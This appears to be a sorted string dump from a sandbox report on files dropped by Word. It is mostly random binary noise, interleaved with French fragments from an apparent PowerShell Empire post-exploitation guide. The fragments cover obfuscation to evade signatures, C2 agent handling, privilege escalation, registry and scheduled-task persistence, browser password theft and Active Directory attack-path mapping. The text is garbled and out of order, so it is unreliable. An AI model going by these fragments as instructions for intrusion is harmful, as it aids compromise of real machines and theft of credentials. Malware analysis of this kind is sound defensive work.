o%m2t<kiF>Pm9-$;Q=Il!)dvvrasbov_@ovrHACTPo8zg2Z6f'V~!JIK+Jvz'#x~?4zfxAiPFl8{zZi32~laOzYY+t.[?P`?'$-A

Ansi based on Dropped File (~WRD0001.tmp)

o'Sxzd]JzU`=D)0lU9#:YZ^"Ma_:%R/Z|}$RwMQcM8&SM3ka|hC{Z+EU!V!uKWfoJ5jh9w/+bopuUTa'FNg+}Av+oK\Z0P.##ba1O=<1gvxNsf=k:1zU`=D]L1pyTyd}Q(I"5^EF

Ansi based on Dropped File (~WRD0001.tmp)

o)_WG8)O^:2q

Ansi based on Dropped File (~WRD0001.tmp)

o*yhLQ~\Uc:(x+Wh[jCt|m8yP|ZbdPN$ISB<m5`uM;vZs5DeiC7 mkN+$PLcRw!Mi]=c5)pDM/

Ansi based on Dropped File (~WRD0001.tmp)

O+cui#,_nG/]Jl<xc{Xku3P3S>DUI_AM}ng}

Ansi based on Dropped File (~WRD0001.tmp)

O+O4_q$;y-_.

Ansi based on Dropped File (~WRD0001.tmp)

o-I_(tSNakoX:PP^xs=A6rMRbEFf%:l}FD8{,K?/6J\7s/6;.+y}{WeDmf}}Vs%$O?

Ansi based on Dropped File (~WRD0001.tmp)

o-q:Cl@;`@

Ansi based on Dropped File (~WRD0001.tmp)

O.6=z4:9XQp2E't~#|`II8\p9ohJA4,[=uH:`-`'z)x>t4(Zz*n]^ty'f]r$@jpzQD6YC$mS}Wi]PTnr<%3/b&!S!DsMsC7=%/@B(|qCX^0n8a0nll9~w?uWoNgfx2(^'zsid4,sa7XwrtS]Jv|9s.^W;CyKXVnIg?0oz7ej]w:jx6L%t]_w<p)G$H{.sU:WuZtM\:KP=y|qCYIxYo)Kc:nX0C"O\Pp=!tzvPlt&[Kh(+,WeSs` |j!\)-}2cI=:RRW9P>gdJCrqk:3BUp#nq+q|!|p<Y5 ]ffd,w9'tf4u/f<Oh/!M79x;Wy|":6|,yMsu]-8/-^`~"AO,=1Y//v[@8//-w@q-?G~u~&>m?So<nK3QxZ]x[ncUOacK,y!1+Nxu!57up"-Bl<S[ERWs?emAHA/#Ghy^^F|6"&y ui+>V\-.R_CQGWtxOUK/a8+O}?!_E/N}P\7O@D/,#i[7wm8!v

Ansi based on Dropped File (~WRD0001.tmp)

o.9,'Lc~ouzw5^kljR,n%z\8Bvtf~,}2_8^w>>qn?}AdkF]NR >n:Ur5%`?&A3dFRG'Gmd/9 7=r4UiOJ:d\t 7K<\0^%qvxy?7jgk?gA_}9x,lUfIGy_?Kz6>(.k].{?xi<doz'oGGqX[66a?U:DWcZd3qxqh['="/W?ek?K`\{%}~)\{ViA'zuF'+ a_hMMH<-9o{/>{/v\;k<68xy>j?]Kwu_5enAPAU:4,coEM*E~muZ"?YqN@f9jC;k=u(FhF+IndQ<q=|bSW~8$:TC2#1+|VgQ$u SVw7G|he"r!x{y'Ix*nx|

Ansi based on Dropped File (~WRD0001.tmp)

O/hlx=O~Nn0DK$m=/>n[X5'!rWhh)$:*8b,k'sY3a{Odf&RaeLBL:)Kd(:sE6M/T|Pjty&~E(9@Squgoi,iJ [_g;eVx,z`J #4X.).q sd]P

Ansi based on Dropped File (~WRD0001.tmp)

O/{}Odk53;b=d%7?-a2}At}5HM8{_?uvg^Q'G$6+aPl>-:)y;/3Kmb5~GQtKkC2YrNM/`xJ_$n@}`73M~qF)S

Ansi based on Dropped File (~WRD0001.tmp)

O06+Zrt5[<#o&Iy\I2AgwcC\yWL`paW6i&x9=.o( j8wjLv3m4E=x8"o.<Mc3:36X=Dlbux'c

Ansi based on Dropped File (~WRD0001.tmp)

O0G/cbPn$+_fVD|g5<dvAj}62`B_16qto%G5tG}_#1qhue[y/

Ansi based on Dropped File (~WRD0001.tmp)

o0VwFn>gG;^2~Q_a/]m_~@I)9:z1|\e\6JgH_J~2yy:9kkce_sju'Zdx9!?>

Ansi based on Dropped File (~WRD0001.tmp)

O1[Fm$v>]d=vM

Ansi based on Dropped File (~WRD0001.tmp)

O1p={+qndH#!$DGsa9-f1Xz~i|.fY3XnRd,)G><MI$:6hSi,,.Bjx)oeJ7fo;CXWg<9:?z=BtWcy~rKKb;\Bl.OeDz8D2cvwvY{/\CZ

Ansi based on Dropped File (~WRD0001.tmp)

o1zi9-DM&mV<Z`U:gYWQf=F/;4U[T=`t'iZ%#####

Ansi based on Dropped File (~WRD0001.tmp)

o2J+zP[L|F|ON<,zYZ8.(-l.-cJUVLM_Z[]^xsdIn?_[vtEz]vyvwKl.>){m&[)A#~%U~eQUF>a7LM`K{]nxeMMuU{:

Ansi based on Dropped File (~WRD0001.tmp)

O5&C?>";t3

Ansi based on Dropped File (~WRD0001.tmp)

O5< Cc<x2I!T"-b/q*as+KB*W+iUA+uQ

Ansi based on Dropped File (~WRD0001.tmp)

o5ODy20Q:F

Ansi based on Dropped File (~WRD0001.tmp)

O7Ey*3E!ai2=%gc/>2W?5@>-\8IO?Mb&KC.?hI\p1b1WSB_!}*Ov#zd45

Ansi based on Dropped File (~WRD0001.tmp)

O8C9i4`(-P]0*s0N@@<?p+'FOOh!m7{yC':9B/_:l*\MsE4;<s&A#.MHh29xahQ?Hvo'ZyzckVFmz~Oc.<

Ansi based on Dropped File (~WRD0001.tmp)

o8~y`V%*qvD[x.XX,$V9brM:bBzXVfvtY22 44[g

Ansi based on Dropped File (~WRD0001.tmp)

O9Xb&2^>Q4M*^&.Wc9a)ecRcf-K_m,M?a~i(J6`%o<wN2_R#R

Ansi based on Dropped File (~WRD0001.tmp)

o:](_D}jq=tClG(

Ansi based on Dropped File (~WRD0001.tmp)

o:fh#pQSngrgN9LNruC8]E%|)5iUULA.UWCpF~[x-^AL6;nU%s_RK((#SIEv1u^{}B_p2#

Ansi based on Dropped File (~WRD0001.tmp)

o;FG$s6:83j*LHEhG!}A:kBu|'&BP}lTE0-/{CB9WPX]><}A!x|wA0SP_~yx1Bi{0VOz^Ti)Fp!%q!l}x=|5O9\@z{_=roND%$^A,P+|^8

Ansi based on Dropped File (~WRD0001.tmp)

O<Na:7CS_~BmD1B#Y1NRZQ6J"iQLWb:F\5YWR%vQ<QKBO(#TvNA"g[Q/zun)wrf(HqH$y1dk|)}N@kx7[j#a}|Y"NIN#<{)|H$\;%>"MS:~Hg4X<l,:&bT\8CZ5fd=|Lx<x@[6m%q<yq9CM@IRgQ!G~vIpv\&"c6v@<jqe|>Lzed

Ansi based on Dropped File (~WRD0001.tmp)

o=9o'_M=={,f

Ansi based on Dropped File (~WRD0001.tmp)

O>Wly9_?>T#z'[-uckg}5zePyWmUxH*2DLUQ"Ux~'3aOcCN9q@#t6

Ansi based on Dropped File (~WRD0001.tmp)

o[4hUrGDVxBIs

Ansi based on Dropped File (~WRD0001.tmp)

o^)vP3Ph+fZfn{s(2l7$yPg1Ox2 #{wK;#5v+=tR!}y9e/:OWs)e;E9EW=j

Ansi based on Dropped File (~WRD0001.tmp)

o^zsrvKmNV\9N9qljf3WOE(6R:;Fou/oWcf[+#^%is[^@|{Owvg?k;D<[{ce"4L#,&w;6,a_E/6t]_m9+M&n13b:FccwF{{nNrHgYfNMDw+zc<^yK'q@jV.DyBEhwW>|GNp

Ansi based on Dropped File (~WRD0001.tmp)

O_1Lkcs&%sBcmg

Ansi based on Dropped File (~WRD0001.tmp)

o_km"bn;!Jr{}wOpZJdxfu_yQIeyq^p7WgE^~/VxyUy,#w(|QA2`IG*|K++>rZUL}O<.,{2n'#k-m'-UUWegm,93\B\1lwyyyK#=>we=+-/)xv-)?i)48&~s{I#o6xVKWk"Mg_l8=G\gO=

Ansi based on Dropped File (~WRD0001.tmp)

o`R[_{VvJCB!r)s

Ansi based on Dropped File (~WRD0001.tmp)

obfucation, de/coding

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Obfuscate PowerShell code as a string, and breaks up the code with reversing/concatenation/&

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Obfuscating ~PfQjQQVVVLXzZ~Z[[[[P^r^t^_R___gd{ogd&Jgd,gd"$a$gd$$a$gd

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Obfuscationpossible lors du run-time:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Objectif: gnrer des signatures diffrentes.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Objectifs

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

OBq!3z)@"TvuGg3"kH|3

Ansi based on Dropped File (~WRD0001.tmp)

OC")k!Ca,EY>k1Aho=P~uA

Ansi based on Dropped File (~WRD0001.tmp)

Oc6zH>-(k `w6!yu\Y>~xoswaF4GRdk6DQDt7TvYX?!T>!r^Res3\qFr'l^C

Ansi based on Dropped File (~WRD0001.tmp)

OC;(kRZUuP~y3e1Lx*.k#(

Ansi based on Dropped File (~WRD0001.tmp)

oC^dQOcmxx'D>}_dh'MkQQT=L7O7/*)Q!hy=cwHeC,o[T|,vp.c!:R,8?GMf_j -/AW\N.F#fC3Bj&^(L'l78$

Ansi based on Dropped File (~WRD0001.tmp)

oc`k+@vtru8p{FxyHb+GRPPPPPPPNfxxdiowt1bQ) DV344+<uAwN`zlw4\ZGmo2#!Gxg~AFw!+D?dr"$ZYg/*-$5-h~vS<)(((((((((((,N@xN*qdAGy[zA0CSO>

Ansi based on Dropped File (~WRD0001.tmp)

OCfdqJP/u:Y

Ansi based on Dropped File (~WRD0001.tmp)

OcX#q+e8^+&X<dgS:nk+V#A5lf2X/2V(Ph{MVq(

Ansi based on Dropped File (~WRD0001.tmp)

OCy;{Qp}lJ y3Xv;feuG}/?VE1CoMQO"rw !Ka=el%aKbrt+uGp`1;;MNr,b[Gn1DOz"c.j%.a#r/i,hv]A j`,D(b]5mN`O^UE9d5SRMmT9+TE(r/tX[i/da9z<6r\

Ansi based on Dropped File (~WRD0001.tmp)

Oe9m}bn!R[<&jQnhCc`0mh0mh0!|3g7>W

Ansi based on Dropped File (~WRD0001.tmp)

Of?||8>];x=;z:wL)y]:\;:wuD'x^C^uec;Jp{.Ct5x90-.?$iB8+]le:"?\fz]xr3W&D\::^[/Gf29VgnO{{7

Ansi based on Dropped File (~WRD0001.tmp)

OfficeTooltip

Unicode based on Runtime Data (WINWORD.EXE )

OfG8E+6v,Lw1^mhbrGb2TK(WR~r%aK]u;e368L>ZPtCpv8Ql:$lz7tS*lz9:sppN2<=]]NkO4<]94ayS'&FtM'mDBe>Nq==5|&K{:1_,uUE{.

Ansi based on Dropped File (~WRD0001.tmp)

oFtz^frl~

Ansi based on Dropped File (~WRD0001.tmp)

og/Hhas_{D3*%<~p.o&#&i($8cKOzT+Hf9#2qkC=ZOSvRZ1AcjPIYRl/nR;<^PgbPHEA`'wFiwt"RqpAC),

Ansi based on Dropped File (~WRD0001.tmp)

OG_Viuu3'0l8|a7pmH'6^2+P

Ansi based on Dropped File (~WRD0001.tmp)

oGS\G7pGW^L^>TcH<6cAx(sC}g=rd/KU<6cTUq_^^G~ Mzj[a

Ansi based on Dropped File (~WRD0001.tmp)

oHY0&x^U'i;7ZYgYvT{QFC(qF^j1}Q@?qf'mjcR:,Ch`J(((+c$:-zF\n2;~lYq]/AAaLxIhy-dYYV51f|btJ=.$1%1D|B^>*T-t,S.`GUw

Ansi based on Dropped File (~WRD0001.tmp)

Oiw[Y1&``N2O>Y`"6E<rxzRGq$44cpV\j\T@R=-Y9R5&U$Ss1j9>mDMwb&5;7.k9Le5mvu6RO

Ansi based on Dropped File (~WRD0001.tmp)

Oj35Bz!jOM.b6JX qHaxh@;"Y2]?f?e{t&>:,yUHd;I*k[r&ld>MHD0E.v'$>@%^^<;WKcRFY'Sg&q~@&S"oJ$>Hz(kVYPn|W+sgf01piaW!rIi %[,D?O:9gu.[

Ansi based on Dropped File (~WRD0001.tmp)

oJBO?X8tm[rr` k\.Sf#f((_|:V!5fa/na3SP4aS`%KGaN

Ansi based on Dropped File (~WRD0001.tmp)

ok7VPkClTZ1z

Ansi based on Dropped File (~WRD0001.tmp)

Ok<m9zeg?>ilNF.@\hid#=8S ZI8mOzP>OW"dcUI2 wqQ*"C>pG|3D~4X+G;].quTY0$W>6qAZ$p+B{3dPv<l,!C91Gr|<\$

Ansi based on Dropped File (~WRD0001.tmp)

OK]MH[DWDosJo:Tu.jK8WJXiKOEJbZFFi5"]u`DWp4L1m"mu5*1Ai"BiTPiCBKue2"sYX1(6xF6Wj

Ansi based on Dropped File (~WRD0001.tmp)

Okoo&y9V]?G#9N=/Y>)WJgwbjg1A[&YZ"|yhX9Ys|H~]Ki\F]b?y1&-=8i9oBV:s)

Ansi based on Dropped File (~WRD0001.tmp)

Ok}t(v{';' <_d%e<*[ec\Mu-l<(<v~M|?)q5a?C g:YciN9z23%*-}'.}:|,\z(@9oWw_~?>?ppppp@}?v~N-2q_nO(6~H}K?8888m\mP/A_Mp=!08^L2R{$?egQWnPFX+k;4d[AOi^(>oO:;^wkQV]%g:-0oU$so[m}$lNZ'K_Gknt/NCiO(-n;- I><+^?k 5wx4q[{Mm<nu:?I^x.AF[lW /pn~soVg] m|w7~:mg(w$OC/~0tP'

Ansi based on Dropped File (~WRD0001.tmp)

Om*8 $z}zU/.srb";g0z~F{{N1lNR(ux89rM/[F&fm*8%Tmk7Q%

Ansi based on Dropped File (~WRD0001.tmp)

On 02JL68h(*,6&xzHX>,hV'Oh)9h)9

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On dsactivera l v`*j"@"^##$.%%%(

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On peut ainsi tlcharger le fichier zip gnr chez le client

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On peut effectuer toutes sortes d appels avec l API:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On peut galement utiliser directement empire-api en ligne de commande:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On peut intragir directement, en ligne de commande, avec PowerShell Empire via la RESTful API. Une fois l API dmarre avec Empire:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On peut tenter une lvation de privilge (notamment avec allcheck) vers un niveau suprieur.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On prsentera ici les modules utiliser, systmatiquement, lors de la compromission d un agent. Ces modules ont l avantage:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On se connecte un agent compromis (vert)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On utilisera le client Windows 10 Professionnel, pouvant tre ajout un Active Directory.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On utilisera par exemple l un des modules modifiant les registres utilisateurs

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On veut numrer

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On veut, pour chaque module gnrant une sortie, pouvoir dfinir son format.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On voit par exemple que l attribut high_integrity est 0 (False). Cela signifie que l agent ne dispose pas des droits administrateurs. sysinfo donne uniquement des informations systmes, moins exhaustif qu info.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

On voit, par exemple, sur l image ci-dessus une liste droulante des modules commenant par show_, dont show_modules nous intresse plus spcifiquement:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

OO_F}NIZuvC}NMLCj)(0Ac{#EA?pW=B }a\1sGFdX/a3y5/u>Z9c%DEG\||L)afWtwW}77?FmJ%T^:RmA9~[/]|}O MSKrQ15H1OZkkv/e} pu{T(@AAAAAAaT

Ansi based on Dropped File (~WRD0001.tmp)

OO}|l%<-`#|P3[~>f

Ansi based on Dropped File (~WRD0001.tmp)

oP0?N)hLd18G%4*d'i2\z_).J:bqNb~68Abw>3R7Xp_

Ansi based on Dropped File (~WRD0001.tmp)

opl/q/H2_Q#lreX>XssM3=-{n\h5j^56R3RNf!X]/+Z{8*L%1f4ig$X5O~t}%+#af7K'4^}AkWWFEOROiXxP:4:p`es

Ansi based on Dropped File (~WRD0001.tmp)

Options_ps1:options d un standalone (requis?, valeur par dfaut, description, & ).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Options_py: options d un module (requis?, valeur par dfaut, description);

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

OQNnEpb61)*F]/mk}:"%h"T~ 06MG*v&xtpjfvDioK_;B'2@vyJMa+K|[JIca*lGP,s@;0Qpy|b

Ansi based on Dropped File (~WRD0001.tmp)

Orange: l agent n a pas rpondu au C2 depuis au moins DefaultDelay ;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

oTmN~O[Y[2wzU<U*ZOR

Ansi based on Dropped File (~WRD0001.tmp)

OTvv<wXcwqj>AU0bZ6f^34k|q0\KGzVqfiCrpurCG&'fQ+?!z626+jH/i{nV=.8o?AG[^~5!pHi%#7s[~TM^h~J"'s>>A@{>Af

Ansi based on Dropped File (~WRD0001.tmp)

Ou on autorise l excution de scripts PowerShell en retirant la protection d excution

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

ouE**,}k.T:

Ansi based on Dropped File (~WRD0001.tmp)

output_format = {

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

outputf = self.options["OutputFunction"]["Value"]

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

OutputFunction : {

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

OutputFunction=<VALUE>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

owFl+E$03 Ru]?WV'f

Ansi based on Dropped File (~WRD0001.tmp)

oWo]>}@6!P/=5^ph)a|e;hFr"%?j@S54PhE@@]}Y[@gSCL~h6+}q|\Nmo#4D6kFNEhHa;pxSG: kYDkKUwBC^hU=

Ansi based on Dropped File (~WRD0001.tmp)

OX%96>k6>)D5]5!.|8{+p 3kb:q^\VKtp;=4Y1,kI%iDc2?GQ#dF!8vrin#s#<Dq8:)"9)hOqn>~mpQq.vAWQ(*{,+l>irokz#-'$S<$JN+1HrnZPGtN<s|F5c

Ansi based on Dropped File (~WRD0001.tmp)

oxb+6mhBC5_MNY3%yW8nH}QhPLTo)dl*RF1[|FC*+4\|Xwq5l8'2PVPQd1K`KGRjh>-4kJk9hZmh

Ansi based on Dropped File (~WRD0001.tmp)

Oxz>}lw*

Ansi based on Dropped File (~WRD0001.tmp)

OZ1+0&04H1m}F L`=60&L`u&0t0:DcM&0t0L`u&0t0YCEL`e~2 `Pg4DA%0Y@T28f4DA%L`u0H;b5af~0:DY L`e~0Ai&0~0A`Pg(KA,au0H3A%

Ansi based on Dropped File (~WRD0001.tmp)

OZra8f"?)\l*oNesQ=i|(TU~=O

Ansi based on Dropped File (~WRD0001.tmp)

o{* NC0:K_9n0iK3-4cb_MMs)LizU/rLOM(oo^&%IJ3WiF&}]y|L8U1/4{_AG_Gu

Ansi based on Dropped File (~WRD0001.tmp)

O{{;yyy#5sRj3^qmnNrd_ w"Uv699-udrn,_u&3

Ansi based on Dropped File (~WRD0001.tmp)

o|~bf']XWct95qTv#9)P+f\_8'\dF_/'X5X?rfzFFh77J=|p[?6Q~Ql"lv]O902c1o{(PL3pbCo8Aemng{M2fu8f8g/gOE9i7/~^WAQ? |Lun8|nw27b[Ub

Ansi based on Dropped File (~WRD0001.tmp)

O}'w:zA}/JCjzWfOgOTPR$Gwo~3-Hv3vK/-|_pJ*K'+[B{jy>9JVh ^>rnmo38)sG'V7]e>V~^94<6P*M}r`u,llS{_2,07dE&z0unGO3-+-r>GLfli={3L0|aPf}\Uc{mn>~^il5<HKynd?|!<WF~Zg;6esbt4

Ansi based on Dropped File (~WRD0001.tmp)

O}L4um'%)e^LR~@FGj

Ansi based on Dropped File (~WRD0001.tmp)

O}V11((((#ACgz*4!:_|\kLO#aku]K!iK&:I!4kj.<:"PtA70F~k2NY0Ov@hfRDztp=d|S\|hs@bte398GO"m;@/2!{Xp!uiuZREgVgqz{b3Ds)$(((( x0;$jF4:t\}Ax=$c^M-%~3)qC'yxf?O\NRa0Ndk~_Uaqzlqbl\6CtWm5GyhP6lxS' k/o~3}qh}V'~.gwXf`!&iOhP5S[b?ETfl"|pM)h8D50alqYzB~#qYm?&K%d9Zf22Ex~7{9

Ansi based on Dropped File (~WRD0001.tmp)

P!SYk A|Z?,G0u_D1|C'}yL>(<'?-u/;Bg5{J}^"tQ;_+jaN+8_@T7HV,t+-

Ansi based on Dropped File (~WRD0001.tmp)

P#=eU`VQ5/Q-I;(['6{r#$hp_]'?UGrpd''l==pF",.cv>\FVPN:,c#+x<AA)z:{RDeJ7=D8%^zS4`O7T7>\j_d54JY19HZp/[>aFUM+;'[ 23A-|(J7|V766P_h?L

Ansi based on Dropped File (~WRD0001.tmp)

p&=PLXHfx-A[VXV) BG9 O#[n]CKzqU>TolKY;>

Ansi based on Dropped File (~WRD0001.tmp)

P('s!XS~ AQxZO

Ansi based on Dropped File (~WRD0001.tmp)

p(Vix~u{GTT2R:-\)lOSe3o

Ansi based on Dropped File (~WRD0001.tmp)

p,( nYG-\8@"\-S'4[pC0{1nm}70<H0,KO[0T=2{u[c8bKy9tL>H6'fC:=w8~=@`/3s9CHYx.=x[O?W?w3?q-Y xG/RQ

Ansi based on Dropped File (~WRD0001.tmp)

P-awXtcF1QG.]qX|lj`>;,{{}\$wm4ko-K% ]Rw0y]~_p>Hx>C?hoCa~UBgWx\Sros[K[YkEss Oh[PR@\/>/N

Ansi based on Dropped File (~WRD0001.tmp)

p/noOW?x>b|'Pvc*.M(4"cE*wW;26voz=[#\cV]<aDBk4,_n(t<,.2r]t)#qL8"<YqO-cnV380rs5tUUo$|B{YV-/O&t?O9Z,Pib8UI("I^accy:U)|Y?T]Z=G,+?Mv)9

Ansi based on Dropped File (~WRD0001.tmp)

p0'T{???@L}^IP3

Ansi based on Dropped File (~WRD0001.tmp)

P2/_f6)zWc7Wl,aP9h39&e#w}k<; wg$y3xKZOD?SFkkVdbbZM1q2TO'CbUk-1UI?*#bpjGC9fF+#.iH,CqtfT`P1@G0|Fzn|82#+ua ;V~!POO2^Yu]yf\_GYWU&6"tWv!I-D2`I2bVccT86"&MtFH$iFiC96go42=BWlcLg@_I9J53T8!uC&)l|6"+{(QWiGFFFFFFL<U&aO&(_WNu7;YF417Mh;1570L`Gl7qX7}?cs?#lo1Ald<M>B(?0Oos<I}h{$I|:>>M 2!zj* {-lcVvPtq1Out&sQ[W/2@AbVLG={7RUFcqnO}:AGQ$_ak(+5C{H?wfivM{DQV7k

Ansi based on Dropped File (~WRD0001.tmp)

p2@34|)n`bp0(>tSE7|fG$-D `WKVqoo~1R?H4..WnLik?OEz0>;'o'vA"ce8zC>lFa3y:nBQw<;?S2`uJ6 xiK`a&X!6[2G0@ %y=twU<G- qc}'QxZae%&A.\WN2>15<x.%tl#){ukxY,^J8nteW[RO39Oh2B8[kCK2hFAxbW fyb&H_*@DQ\Ms]]D?xnL;t$1izx9[3C!8$H/sYWE0!O>H<m`qOq%}`%><\a%U2sC@nm*A&."

Ansi based on Dropped File (~WRD0001.tmp)

P4L2BAS8Jjy}xd9xwaNG.le-TZxP!w

Ansi based on Dropped File (~WRD0001.tmp)

P9+$afO|Etd8p+IcbbBF1j+r::u

Ansi based on Dropped File (~WRD0001.tmp)

p9}tVf '0$<NC)Q>&U40+}F#t%`] Spx9CcSHbV\Bte:yN0/_y3Aat<tL`>]j=,a~jJ:nueU"oz<Tuhw

Ansi based on Dropped File (~WRD0001.tmp)

p:'v;Ld>j6)cr0a6l -%tRS,a+#0aKyD0A/Bj40F}^MaH

Ansi based on Dropped File (~WRD0001.tmp)

p;"^+1L+#I,b{A;Aczc,#6nPv@_3J=v/boHw/g.iCE2@$jP.Oc]8GiyY'+Bm$ B3NKAmJJVh$I~;X"+%tx0R]WHi4_ZEQ[h9W.-%cgSD0jOy3$T[>cO8sA>g7,e~&Q=r+aM~`,jQTOM+Sx"RXa^G =Y\f

Ansi based on Dropped File (~WRD0001.tmp)

P;HHgT{s'w'2>.5L#D/R#K;12g&kKX]]vX!CB-sN:*o&1K8S:FT#[ZE,kJ;]Wzn0J1Pr.}mR\CZ4eT?~@'efCSIgEb|=T

Ansi based on Dropped File (~WRD0001.tmp)

P;ksw08v509i+L[[;_GP7es^iz

Ansi based on Dropped File (~WRD0001.tmp)

P<nbC:&IC$%b]IrGo-.0qc8\f&\|NF

Ansi based on Dropped File (~WRD0001.tmp)

p<zS"MG?6#l\X[p]ni4?O@]

Ansi based on Dropped File (~WRD0001.tmp)

p<{!e&J`8j= VBH<q<9R9oOCYAA{5RV}%0|:pM.k!;:)r

Ansi based on Dropped File (~WRD0001.tmp)

p>XvC$?IGn\6;m

Ansi based on Dropped File (~WRD0001.tmp)

p?,\cwZ,t>2IJKt{W%.}DYo\.WZ<-;]k?<{_lZ453w=~t-{8Q7o^/_1o/vkGdK`:C/H/DK@O@CbP@CufhMn1b&L1c01 `b@1b&L1c01 `b@1b&G\}]/CTtUU"dxgt.v_6+<z9]rwHD@`|m{o$Oz7*n<.^0<bu}k+

Ansi based on Dropped File (~WRD0001.tmp)

p?ki+^*.mP)?#-w30*T0QIa(:##&Q{Y_pxIr<=MF9.X&4Ndf.vkm

Ansi based on Dropped File (~WRD0001.tmp)

p@4;g2#?q2KKhooDB}B5|$]F[.96<B0zB1z!A}'eKCB{yeN85WK]|\znu(. 4z%j+'y>32-oC7>[qD/F.~u1B}\MD'V@y<..|G{tGP|z>9*_A'>Z9XbHl@;GZ&fo5t.~bO>w&x]|U>:P9@-@71rzsR

Ansi based on Dropped File (~WRD0001.tmp)

p\>q,+).>3|1^N2iho 4F3cKM6y

Ansi based on Dropped File (~WRD0001.tmp)

P]K$=<^HMr#$Dm1N6xb]L?(M9Y$#3!e*W,bW</^h;gT/q!I-8vF4876

Ansi based on Dropped File (~WRD0001.tmp)

P^s:9a7,v%Mal:j$Whs+,4-wk4-6Oc,7.]b}|MgO7=XHlf~iE}SC9|(grmL]F-<z/7/?e;?#B6^~K'NnN_\.KN>,(-~s=,qVe:>

Ansi based on Dropped File (~WRD0001.tmp)

P_CwNmbh*c8^G13O-'{Q}qoh`nF{T{Mq.dJ"++gjLB"NjE[$yY8%g/E6M5\t0&eU8

Ansi based on Dropped File (~WRD0001.tmp)

PA,:t<0a_Ps

Ansi based on Dropped File (~WRD0001.tmp)

Pa\tdYA+781BFe`f6|(m~xpob!ht=!ydkO\K]$Jg3O_g7cUIKQ|ux>w`zHE?g>tns%g.b5uSsnrx|EE';1

Ansi based on Dropped File (~WRD0001.tmp)

pAb<Ia=- %.76j{U(FgP8w}t-W!J%\H\UAX,9_m9P

Ansi based on Dropped File (~WRD0001.tmp)

Par dfaut, Firefox ne dfinit pas de master password, alors que Google Chrome utilise le compte de la session administrateur pour protger ces mots de passe.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Par dfaut, la majorit des modules formatent leur sortie en string, difficile parser. pour alimenter les logs (si le module le permet). Plutt, on veut permettre l utilisateur la redfinition de ce format via une nouvelle option:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Par exemple, on peut chercher, sur la base de donnes par dfaut, MACHINEADMINS@JAPAN.LOCAL. Sur le logo qui s affiche, on cherche les clients directement membres de ce domaine. On peut ainsi dterminer les chemins et les objets prsents dans l AD. L attaquant cherche, de proche en proche, ces liens atteindre la machine souhaite.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

PARLM-M=SH|yhyUw![4<rD

Ansi based on Dropped File (~WRD0001.tmp)

Parmi les modules disponibles, on distingue ceux ncessitant un privilge lev de ceux ne requrant aucun droits particuliers (ex. ~`08z~J*vT$a$gd^gd^gd^gd\)$a$gd^registry* ou schtasks*, registry ou schtasks).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

pbbL?c6P_(?s^7Y]%"O9#cG.`e6Q":L(SS{yul G{v]}11"1v!ozma%O5BbD4ih/Wo~

Ansi based on Dropped File (~WRD0001.tmp)

pbI-5sTCWgp{txa@@h6.y 487xnIGL5k$hNb).8&T%[M:WL2$_SUE%1CE<-NZ5Qshefxwki]}b(4Kqlat=*i"XxYYSnQ+_77mYENw)w7AF.s'ept]/lIkU*3l9??wNilqR8FUS9!,]`PK

Ansi based on Dropped File (~WRD0001.tmp)

pcQ.......>\\\\\\\(c=|D~2@o9}aK~x/Vt,--uKh~8YH8#F:CH<rx/;<^n|>4eRc!&>5Y"QOam<^)6+%$P= @d-2i//Ht\6%#u=x8NW%2Y>eX cwZB/w;0}=v k$z<7[

